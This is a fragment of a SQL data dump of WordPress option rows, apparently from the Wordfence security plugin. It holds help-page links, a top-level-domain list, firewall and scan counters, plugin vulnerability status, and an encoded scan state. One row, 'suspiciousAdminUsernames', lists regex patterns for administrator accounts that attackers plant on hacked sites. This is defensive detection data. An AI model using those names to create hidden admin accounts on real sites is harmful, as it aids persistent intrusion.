('supportContent','{\"top\":[{\"title\":\"Blocking Troubleshooting\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/blocking\\/troubleshooting\\/\",\"order\":0},{\"title\":\"If Your Site Is Hacked\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/if-your-site-is-hacked\\/\",\"order\":1},{\"title\":\"Optimizing The Firewall\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/optimizing-the-firewall\\/\",\"order\":2},{\"title\":\"Wordfence Web Application Firewall (WAF)\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/\",\"order\":3},{\"title\":\"Scan Troubleshooting\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/scan\\/troubleshooting\\/\",\"order\":4},{\"title\":\"Wordfence and LiteSpeed\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/system-requirements\\/litespeed\\/\",\"order\":5},{\"title\":\"Two-Factor Authentication\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/tools\\/two-factor-authentication\\/\",\"order\":6},{\"title\":\"Firewall Learning Mode\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/learning-mode\\/\",\"order\":7},{\"title\":\"Scan Results\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/scan\\/scan-results\\/\",\"order\":8},{\"title\":\"I am locked out of my site\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/blocking\\/#i-am-locked-out-of-my-site\",\"order\":9},{\"title\":\"PHP Fatal error: Failed opening required wordfence-waf.php\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/#php-fatal-error-failed-opening-required-wordfence-waf-php\",\"order\":10}],\"all\":[{\"title\":\"If Your Site Is Hacked\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/if-your-site-is-hacked\\/\",\"excerpt\":\"Identify signs of a hacked site, next steps if your site is compromised, and what preventative measures to take for the future.\",\"order\":0},{\"title\":\"Wordfence Free\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-free\\/\",\"excerpt\":\"Wordfence Free is an all-in-one security solution for WordPress websites that includes an endpoint firewall, security scanner, login security, alerts, centralized management, and more.\",\"order\":1},{\"title\":\"Wordfence Premium\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-premium\\/\",\"excerpt\":\"Wordfence Premium comes with real-time firewall protection, real-time scan signatures, an IP address blocklist, country blocking, and Premium support.\",\"order\":2},{\"title\":\"Wordfence Care\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-care\\/\",\"excerpt\":\"Wordfence Care is for business owners who place a premium on their time. Our team installs, configures, optimizes, and maintains your WordPress site security.\",\"order\":3},{\"title\":\"Wordfence Response\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-response\\/\",\"excerpt\":\"Wordfence Response is for mission-critical WordPress websites that require 24\\/7\\/365 security monitoring with a 1-hour response time and 24-hour remediation.\",\"order\":4},{\"title\":\"Incident Response Services\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/incident-response-services\\/\",\"excerpt\":\"Let one of our Security Analysts help you clean your infected site or inspect it for vulnerabilities.\",\"order\":5},{\"title\":\"License Key\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/api-key\\/\",\"excerpt\":\"All Wordfence installations need a license key, also known as an API-key. The key can be a free key or a Premium key. \",\"order\":6},{\"title\":\"Account and Billing History\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/account\\/\",\"excerpt\":\"How to navigate and use your Wordfence account.\",\"order\":7},{\"title\":\"Wordfence Central Tool\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/\",\"excerpt\":\"The Wordfence Central tool provides a powerful and efficient way to manage the security of many WordPress sites via a single interface. This tool is available to all users of free license keys or Premium license keys.\",\"children\":[{\"title\":\"Connecting your sites to Wordfence Central\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/connect\\/\",\"order\":0},{\"title\":\"Setting up two-factor authentication\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/2fa\\/\",\"order\":1},{\"title\":\"Using Wordfence plugin options Templates\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/templates\\/\",\"order\":2},{\"title\":\"Using the Configuration page\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/configuration\\/\",\"order\":3},{\"title\":\"Using the Dashboard page\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/central\\/\",\"order\":4},{\"title\":\"Viewing scan Findings\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/findings\\/\",\"order\":5},{\"title\":\"Using Central\'s Settings page\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/settings\\/\",\"order\":6},{\"title\":\"Using Wordfence Central Teams\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/central\\/teams\\/\",\"order\":7}],\"order\":8},{\"title\":\"Dashboard\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/dashboard\\/\",\"excerpt\":\"The Wordfence Dashboard provides insight into the current state of your site\\u2019s security.\",\"children\":[{\"title\":\"Options\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/dashboard\\/options\\/\",\"order\":0},{\"title\":\"Alerts\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/dashboard\\/alerts\\/\",\"order\":1}],\"order\":9},{\"title\":\"Firewall\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/\",\"excerpt\":\"The Wordfence Web Application Firewall is a PHP based, application level firewall that filters out malicious requests to your site. \",\"children\":[{\"title\":\"Optimizing\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/optimizing-the-firewall\\/\",\"order\":0},{\"title\":\"Statistics\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/statistics\\/\",\"order\":1},{\"title\":\"Learning Mode\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/learning-mode\\/\",\"order\":2},{\"title\":\"Options\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/options\\/\",\"order\":3},{\"title\":\"MySQLi storage engine\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/mysqli-storage-engine\\/\",\"order\":4},{\"title\":\"Brute Force Protection\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/brute-force\\/\",\"order\":5},{\"title\":\"Rate Limiting\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/rate-limiting\\/\",\"order\":6},{\"title\":\"Troubleshooting\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/firewall\\/troubleshooting\\/\",\"order\":7}],\"order\":10},{\"title\":\"Blocking\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/blocking\\/\",\"excerpt\":\"Aside from the firewall rules that protect against various attacks, Wordfence also has custom features for additional blocking. \",\"children\":[{\"title\":\"Country Blocking\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/blocking\\/country-blocking\\/\",\"order\":0},{\"title\":\"Blocking Troubleshooting\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/blocking\\/troubleshooting\\/\",\"order\":1}],\"order\":11},{\"title\":\"Scan\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/scan\\/\",\"excerpt\":\"A Wordfence scan examines all files on your WordPress website looking for malicious code, backdoors, and shells that hackers have installed. It also scans for known malicious URLs and known patterns of infections.\",\"children\":[{\"title\":\"Options\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/scan\\/options\\/\",\"order\":0},{\"title\":\"Results\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/scan\\/scan-results\\/\",\"order\":1},{\"title\":\"Scheduling\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/scan\\/scheduling\\/\",\"order\":2},{\"title\":\"Troubleshooting\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/scan\\/troubleshooting\\/\",\"order\":3}],\"order\":12},{\"title\":\"Tools\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/tools\\/\",\"excerpt\":\"Wordfence Tools include Live Traffic analysis, WHOIS Lookup, Import\\/Export Options, and Diagnostics.\",\"children\":[{\"title\":\"Live Traffic\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/tools\\/live-traffic\\/\",\"order\":0},{\"title\":\"WHOIS Lookup\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/tools\\/whois-lookup\\/\",\"order\":1},{\"title\":\"Import\\/Export\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/tools\\/import-export\\/\",\"order\":2},{\"title\":\"Diagnostics\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/tools\\/diagnostics\\/\",\"order\":3},{\"title\":\"Legacy Two-Factor Authentication\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/tools\\/legacy-two-factor-authentication\\/\",\"order\":4},{\"title\":\"Two-Factor Authentication\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/tools\\/two-factor-authentication\\/\",\"order\":5}],\"order\":13},{\"title\":\"Audit Log\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/audit-log\\/\",\"excerpt\":\"The Wordfence Audit Log is a premium feature that records a history of events on your site to assist in monitoring for unauthorized actions or signs of compromise. Events can include everything from user creation and editing to plugin\\/theme installation and updates. All data captured for relevant events is saved remotely to Wordfence Central to prevent any tampering that may interfere with post-incident analysis and response.\",\"order\":14},{\"title\":\"Login Security\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/login-security\\/\",\"excerpt\":\"The Login Security page currently contains settings for passkeys, two-factor authentication (2FA) and reCAPTCHA.\",\"children\":[{\"title\":\"Passkeys\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/login-security\\/passkeys\\/\",\"order\":0}],\"order\":15},{\"title\":\"Basic Plugin Settings\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/basic-plugin-settings\\/\",\"excerpt\":\"Here are our minimal recommended settings to set up once you have installed and activated our plugin.\",\"order\":16},{\"title\":\"Advanced\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/\",\"excerpt\":\"If you want to know more about the technical details of Wordfence, you will find the answers in this section.\",\"children\":[{\"title\":\"System requirements\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/system-requirements\\/\",\"order\":0},{\"title\":\"Tuning Wordfence Resource Usage\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/tuning-wordfence-resource-usage\\/\",\"order\":1},{\"title\":\"Constants\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/constants\\/\",\"order\":2},{\"title\":\"Changelog\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/changelog\\/\",\"order\":3},{\"title\":\"Remove or Reset\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/remove-or-reset\\/\",\"order\":4},{\"title\":\"Compatibility\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/compatibility\\/\",\"order\":5},{\"title\":\"Technical Details\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/technical-details\\/\",\"order\":6},{\"title\":\"Wordfence API\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/wordfence-api\\/\",\"order\":7},{\"title\":\"Troubleshooting\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/troubleshooting\\/\",\"order\":8},{\"title\":\"Plugin \\/ Theme Conflicts\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/advanced\\/plugin-theme-conflicts\\/\",\"order\":9}],\"order\":17},{\"title\":\"API Callbacks\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/api-callbacks\\/\",\"excerpt\":\"Learn how to identify callbacks made from Wordfence servers to your site.\",\"order\":18},{\"title\":\"Wordfence and GDPR - General Data Protection Regulation\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/general-data-protection-regulation\\/\",\"excerpt\":\"Defiant, the company behind Wordfence, has updated its terms of use, privacy policies and software, as well as made available standard contractual clauses to meet GDPR compliance. Customers must review and agree to updated terms in order to continue using our products and services.\",\"children\":[{\"title\":\"Sub-Processors List\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/general-data-protection-regulation\\/sub-processors-list\\/\",\"order\":0}],\"order\":19},{\"title\":\"Login Security Plugin\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/login-security-plugin\\/\",\"excerpt\":\"The Wordfence Login Security plugin contains a subset of the features found in the full Wordfence plugin: Two-factor Authentication, XML-RPC Protection and Login Page CAPTCHA. It is ideal for sites that need login security functionality but either can\\u2019t or don\\u2019t want to run the full Wordfence plugin.\",\"order\":20},{\"title\":\"Wordfence Intelligence\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-intelligence\\/\",\"excerpt\":\"Detailed documentation about the Wordfence Intelligence API, for developers looking to make use of Intelligence data in their own applications.\",\"children\":[{\"title\":\"V3: Accessing and Consuming the Vulnerability Data Feed\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-intelligence\\/v3-accessing-and-consuming-the-vulnerability-data-feed\\/\",\"order\":0},{\"title\":\"V2: Accessing and Consuming the Vulnerability Data Feed\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-intelligence\\/v2-accessing-and-consuming-the-vulnerability-data-feed\\/\",\"order\":1},{\"title\":\"V1: Accessing and Consuming the Vulnerability Data Feed\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-intelligence\\/accessing-and-consuming-the-vulnerability-data-feed\\/\",\"order\":2},{\"title\":\"Wordfence Intelligence Webhook Notifications\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/wordfence-intelligence\\/wordfence-intelligence-webhook-notifications\\/\",\"order\":3}],\"order\":21},{\"title\":\"Vulnerability Management: Webhook Notifications\",\"permalink\":\"https:\\/\\/www.wordfence.com\\/help\\/webhook-notifications\\/\",\"excerpt\":\"Stay up-to-date with important events relating to vulnerabilities discovered in your software, in real-time, using the Webhook Notifications feature in your Vulnerability Management Portal.\",\"order\":22}]}','no'),
('supportHash','fec81f02d08bb6356c3d0bb36a31f2549f7a0c0501801ee9c372e9bd2a0e1e6b','yes'),
('suspiciousAdminUsernames','a:2:{i:0;s:46:\"/^wp\\.service\\.controller(?:\\.[a-zA-Z0-9]+)$/i\";i:1;s:55:\"/^(?:wordpressssadmin|wordprestadmin|jaime.besser56)$/i\";}','yes'),
('timeoffset_wf','0','yes'),
('timeoffset_wf_updated','1789251117','yes'),
('tldlist','|com|org|net|edu|aaa|abb|abc|aco|ads|aeg|afl|aig|anz|aol|app|art|aws|axa|bar|bbc|bbt|bcg|bcn|bet|bid|bio|biz|bms|bmw|bom|boo|bot|box|buy|bzh|cab|cal|cam|car|cat|cba|cbn|ceo|cfa|cfd|cpa|crs|dad|day|dds|dev|dhl|diy|dnp|dog|dot|dtv|dvr|eat|eco|esq|eus|fan|fit|fly|foo|fox|frl|ftr|fun|fyi|gal|gap|gay|gdn|gea|gle|gmo|gmx|gop|got|gov|hbo|hiv|hkt|hot|how|ibm|ice|icu|ifm|inc|ing|ink|int|ist|itv|jcb|jio|jll|jmp|jnj|jot|joy|kfh|kia|kim|kpn|krd|lat|law|lds|llc|llp|lol|lpl|ltd|man|map|mba|med|men|mil|mit|mlb|mls|mma|moe|moi|mom|mov|msd|mtn|mtr|nab|nba|nec|new|nfl|ngo|nhk|now|nra|nrw|ntt|nyc|obi|one|ong|onl|ooo|ott|ovh|pay|pet|phd|pid|pin|pnc|pro|pru|pub|pwc|red|ren|ril|rio|rip|run|rwe|sap|sas|sbi|sbs|scb|sew|sex|sfr|ski|sky|soy|spa|srl|stc|tab|tax|tci|tdk|tel|thd|tjx|top|trv|tui|tvs|ubs|uno|uol|ups|vet|vig|vin|vip|web|wed|win|wme|wow|wtc|wtf|xin|xxx|xyz|you|yun|zip|ac|ad|ae|af|ag|ai|al|am|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cw|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|rs|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|ss|st|su|sv|sx|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tr|tt|tv|tw|tz|ua|ug|uk|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|za|zm|zw|aarp|able|aero|akdn|ally|amex|amfam|amica|apple|arab|archi|army|arpa|arte|asda|asia|audi|baidu|bank|bing|audio|auto|bbva|beer|best|autos|beats|bible|bike|azure|baby|band|bingo|blog|blue|black|boats|bofa|bond|book|bostik|boston|boutique|bradesco|build|broker|broadway|brussels|builders|business|bridgestone|brother|buzz|care|cars|cbre|cern|cyou|dclk|deal|dell|erni|fido|actor|film|adult|cafe|call|camp|casa|case|cash|chat|club|data|date|aetna|bosch|chase|cheap|deals|fans|fast|fund|delta|datsun|fail|farm|email|degree|fage|ggee|epson|osaka|dealer|charity|fire|open|chintai|citi|citic|city|click|cool|coop|desi|diet|dish|docs|dvag|food|edeka|ford|drive|dubai|church|cisco|circle|design|earth|free|gent|faith|gbiz|chrome|claims|dental|fish|flir|game|ollo|christmas|gallo|clinic|games|omega|page|parts|pccw|porn|prime|prof|qpon|forum|pohl|post|rest|rich|poker|praxi|rsvp|press|room|ruhr|career|rent|pizza|read|channel|pars|pics|casino|ping|pink|center|chanel|comsec|plus|coupon|credit|dating|catering|forex|condos|place|catholic|play|reit|careers|prod|safe|cloud|coffee|cymru|shop|fedex|party|radio|saxo|paris|photo|sarl|shia|coach|sexy|dance|quest|rehab|sale|reise|save|scot|seat|seek|sener|seven|sharp|shell|shoes|show|silk|cards|codes|final|phone|promo|caravan|capitalone|sncf|sohu|canon|capital|crown|ricoh|capetown|skype|sling|smile|camera|rocks|rodeo|salon|skin|calvinklein|cruise|sina|site|rugby|smart|solar|direct|song|spot|alibaba|sony|surf|talk|taxi|team|tech|teva|tiaa|tips|tires|vivo|tirol|vote|voto|tmall|viva|wang|today|tokyo|tools|toys|vana|visa|trade|airtel|town|total|tours|alipay|allstate|alsace|alstom|amazon|allfinanz|americanexpress|toray|americanfamily|weir|sport|work|abbott|abbvie|space|gallup|abogado|wine|abudhabi|academy|accountants|garden|wiki|accenture|wien|accountant|airforce|xbox|swiss|tatar|zone|airbus|zara|zero|africa|agency|agakhan|stada|sucks|yoga|store|study|style|analytics|futbol|amsterdam|trust|android|anquan|energy|barefoot|bargains|baseball|basketball|works|world|author|estate|bauhaus|bayern|xerox|beauty|yahoo|aramco|barclays|berlin|dupont|durban|emerck|bestbuy|bharti|doctor|blackfriday|blockbuster|bloomberg|bnpparibas|boehringer|events|expert|attorney|video|barcelona|apartments|banamex|ubank|aquarelle|flickr|auspost|tushu|vegas|auction|audible|tunes|athleta|associates|barclaycard|tube|booking|vodka|volvo|wales|weibo|family|watch|weber|cipriani|george|goog|guru|hdfc|equipment|hair|ericsson|haus|imamat|eurovision|help|here|exchange|exposed|express|extraspace|fairwinds|golf|guge|farmers|gmbh|gold|host|fashion|feedback|hsbc|ferrari|icbc|ferrero|fidelity|gift|ieee|enterprises|imdb|domains|download|education|engineering|immo|info|itau|java|jeep|jetzt|jobs|kids|irish|jprs|insure|intuit|kddi|kitchen|infiniti|international|investments|kindle|insurance|ipiranga|institute|ismaili|istanbul|lego|jaguar|immobilien|industries|kiwi|koeln|jewelry|juegos|kpmg|engineer|joburg|kred|kyoto|lease|legal|juniper|kaufen|lacaixa|latino|komatsu|kosher|land|lanxess|landrover|kerryproperties|lamer|lasalle|lefrak|kerryhotels|kuokgroup|lamborghini|latrobe|lawyer|jpmorgan|leclerc|lgbt|mini|flights|frontier|luxe|grainger|graphics|ltda|florist|flowers|love|gratis|green|gripe|news|next|fitness|social|grocery|group|fishing|frogans|nico|fresenius|gucci|nike|finance|forsale|fujitsu|furniture|globo|gmail|lidl|life|genting|gifts|gives|giving|glass|global|like|guide|loan|godaddy|limo|goldpoint|link|live|goodyear|google|gallery|guitars|soccer|hamburg|foundation|holdings|financial|firestone|meme|menu|mobi|firmdale|meet|mint|moda|moto|holiday|homedepot|homegoods|homes|hockey|football|ikano|hangout|hdfcbank|health|hiphop|navy|healthcare|honda|horse|hyatt|name|hermes|house|hotels|hosting|maif|hitachi|hisamitsu|hotmail|hughes|hyundai|helsinki|homesense|olayan|olayangroup|softbank|staples|hospital|singles|software|solutions|star|lexus|maison|miami|makeup|mango|market|mattel|media|merck|money|mobile|monash|company|mormon|clubmed|moscow|community|movie|luxury|college|commbank|madrid|museum|music|nagoya|citadel|physio|pictet|quebec|racing|realty|toyota|travel|unicom|viajes|viking|villas|virgin|vision|voting|voyage|cologne|compare|loans|cruises|lilly|cricket|creditunion|locus|london|lotte|lotto|lincoln|nexus|locker|nikon|living|ninja|monster|mortgage|nissan|limited|nissay|online|orange|otsuka|cleaning|cuisinella|nowtv|mitsubishi|nokia|norton|pfizer|microsoft|nowruz|office|photos|merckmsd|oracle|reisen|walter|contact|webcam|netbank|shouji|digital|zappos|dentist|clinique|clothing|computer|construction|consulting|contractors|xihuan|yandex|cooking|corsica|country|yachts|coupons|courses|markets|creditcard|motorcycles|netflix|directory|network|ryukyu|sanofi|stream|studio|neustar|sydney|philips|pharmacy|rogers|safety|sakura|statefarm|stockholm|suzuki|swatch|reliance|statebank|stcgroup|taipei|photography|storage|taobao|target|diamonds|tattoo|discount|discover|samsung|sandvik|lighting|lifestyle|lundbeck|pictures|samsclub|lplfinancial|nextdirect|okinawa|origins|observer|lifeinsurance|repair|report|review|school|schule|organic|sandvikcoromant|search|memorial|shangrila|supply|partners|shopping|panasonic|schaeffler|schmidt|shiksha|scholarships|science|select|schwarz|secure|security|services|tennis|tienda|supplies|tjmaxx|realtor|reviews|tkmaxx|politie|recipes|rexroth|support|temasek|theater|theatre|tickets|toshiba|trading|wedding|whoswho|windows|winners|yamaxun|youtube|delivery|website|deloitte|pioneer|melbourne|surgery|democrat|marriott|rentals|systems|walmart|zuerich|mckinsey|wanggou|plumbing|vanguard|ventures|vacations|watches|weather|management|property|marketing|saarland|marshalls|tatamotors|training|verisign|travelers|woodside|properties|protection|prudential|restaurant|xn--node|richardli|xn--3pxu8k|xn--j1amh|realestate|technology|vlaanderen|xn--30rr7y|xn--fhbei|xn--j1aef|xn--l1acc|xn--ngbrx|xn--p1ai|xn--nqv7f|republican|university|xn--p1acf|xn--45q11c|xn--qxa6a|xn--qxam|xn--80aswg|xn--tckwe|xn--vhquv|xn--55qx5d|xn--5tzm5g|travelersinsurance|xn--4gbrim|yodobashi|yokohama|redumbrella|xn--d1alf|xn--e1a4c|xn--90a3ac|xn--1qqw23a|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--2scrj9c|xn--3bst00m|xn--3ds443g|xn--3hcrj9c|xn--42c2d9a|xn--45brj9c|xn--3e0b707e|xn--45br5cyl|xn--4dbrk0ce|xn--cckwcxetd|xn--cg4bki|playstation|productions|progressive|williamhill|xn--1ck2e1b|versicherung|xn--11b4c3d|xn--80asehdb|xn--kput3i|xn--8y0a063a|weatherchannel|xn--mgbgu82a|xn--mgbpl2fh|xn--mgbtx2b|xn--mix891f|xn--mgbt3dhd|xn--mk1bu44c|xn--54b7fta0cc|xn--80ao21a|xn--80aqecdr1a|xn--c1avg|xn--c2br7g|xn--czrs0t|xn--czru2d|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--55qw42g|xn--mgbca7dzdo|xn--5su34j936bgsg|xn--6frz82g|xn--6qq986b3xl|xn--io0a7i|xn--80adxhks|xn--mgbi4ecexp|xn--mgbx4cd0ab|xn--mgbcpq6gpa1a|xn--mgberp4a5d4ar|xn--mxtq1m|xn--9krt00a|xn--cck2b3b|xn--czr694b|xn--d1acj3b|xn--efvy88h|xn--fct429k|xn--fjq720a|xn--flw351e|xn--g2xx48c|xn--gecrj9c|xn--gckr3f0f|xn--bck1b9a5dre4c|xn--gk3at1e|xn--fzc2c9e2c|xn--h2breg3eve|xn--h2brj9c|xn--j6w193g|xn--h2brj9c8c|xn--hxt814e|xn--b4w605ferd|xn--i1b6b1a6a2e|xn--imr513n|xn--y9a3aq|xn--fzys8d69uvgm|xn--jvr189m|xn--fpcrj9c3d|xn--mgbbh1a|xn--zfr164b|xn--fiq228c5hs|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--eckvdtc9d|xn--jlq480n2rg|xn--lgbbat1ad8j|xn--mgb9awbf|xn--mgba3a3ejt|xn--yfro4i67o|xn--mgbayh7gpa|xn--ygbi2ammx|xn--mgba3a4f16a|xn--clchc0ea0b2g2a9gcd|xn--mgbab2bd|xn--mgbaam7a8h|xn--mgbbh1a71e|xn--wgbl6a|xn--xhq521b|xn--mgbc0a9azcg|xn--wgbh1c|xn--q9jyb4c|xn--mgba7c0bbn0a|xn--mgbah1a3hjkrd|xn--mgbai9azgqp6j|xn--ngbc5azd|xn--ngbe9e0a|xn--nqv7fs00ema|xn--nyqy26a|xn--o3cw4h|xn--ogbpf8fl|xn--otu796d|xn--pgbs0dh|xn--pssy2u|xn--q7ce6a|xn--qcka1pmc|xn--rhqv96g|xn--rovu88b|xn--w4rs40l|xn--rvc1e0am3e|xn--s9brj9c|xn--ses554g|xn--t60b56a|xn--unup4y|xn--tiq49xqyj|xn--vermgensberater-ctb|xn--vermgensberatung-pwb|xn--vuq861b|xn--w4r85el8fhu5dnra|xn--xkc2al3hye2a|xn--xkc2dl3a5ee0h|','no'),
('tldlistHash','31436e8140e26c3db25c03b889b2b40cb1121d169061cc72069df8c6f035ac8b','yes'),
('total503s','12','yes'),
('totalIPsBlocked','4','yes'),
('totalLoginHits','8','yes'),
('totalScansRun','2','yes'),
('touppBypassNextCheck','0','yes'),
('touppPromptNeeded','','yes'),
('vulnerabilities_core','a:1:{s:7:\"current\";a:4:{s:10:\"vulnerable\";b:0;s:4:\"link\";b:0;s:5:\"score\";N;s:6:\"vector\";N;}}','no'),
('vulnerabilities_plugin','a:6:{i:0;a:4:{s:4:\"slug\";s:7:\"akismet\";s:11:\"fromVersion\";s:5:\"5.7.2\";s:10:\"vulnerable\";b:0;s:4:\"link\";b:0;}i:1;a:4:{s:4:\"slug\";s:26:\"header-footer-code-manager\";s:11:\"fromVersion\";s:6:\"1.1.46\";s:10:\"vulnerable\";b:0;s:4:\"link\";b:0;}i:2;a:4:{s:4:\"slug\";s:11:\"hello-dolly\";s:11:\"fromVersion\";s:5:\"1.7.2\";s:10:\"vulnerable\";b:0;s:4:\"link\";b:0;}i:3;a:4:{s:4:\"slug\";s:9:\"loginizer\";s:11:\"fromVersion\";s:5:\"2.1.0\";s:10:\"vulnerable\";b:0;s:4:\"link\";b:0;}i:4;a:4:{s:4:\"slug\";s:9:\"simpletoc\";s:11:\"fromVersion\";s:5:\"7.3.0\";s:10:\"vulnerable\";b:0;s:4:\"link\";b:0;}i:5;a:4:{s:4:\"slug\";s:9:\"wordfence\";s:11:\"fromVersion\";s:5:\"9.0.1\";s:10:\"vulnerable\";b:0;s:4:\"link\";b:0;}}','no'),
('wafAlertInterval','600','yes'),
('wafAlertOnAttacks','1','yes'),
('wafAlertThreshold','100','yes'),
('wafAlertWhitelist','','yes'),
('waf_status','learning-mode','yes'),
('wfKillRequested','0','no'),
('wfPeakMemory','67112960','no'),
('wfsbskip','IAcUdxc2qU2okYF369Ikro34qtN+yQwBg4Dkg617rPnpJ8S+iNAPMTZMDA6P0ZDOSzvQvHesMZL/Ymm8ISGM9cEpFaOucVFWJdONkQrHmar3h6dbYYodo9Rsl13fhz9AKzrrACRgOBxvJY6DldMCb1cfDZp2SI3Ng3Y5sTrtMWVgRZFG4ZnPGFGOGh7VMNqa5vfChxE3BetNHvbYSlYKEd9c/zGtKfT9sqH5L0177EyrqbuXJY4capB+D8pyHF8c9Q==','no'),
('wfsbskipHash','0335ddb4c00fc4745cdd345f498133f5da15305de1bfefc98012ae35db9e2989','yes'),
('wfScanStartVersion','6.9.7','yes'),
('wfsd_engine','','no'),
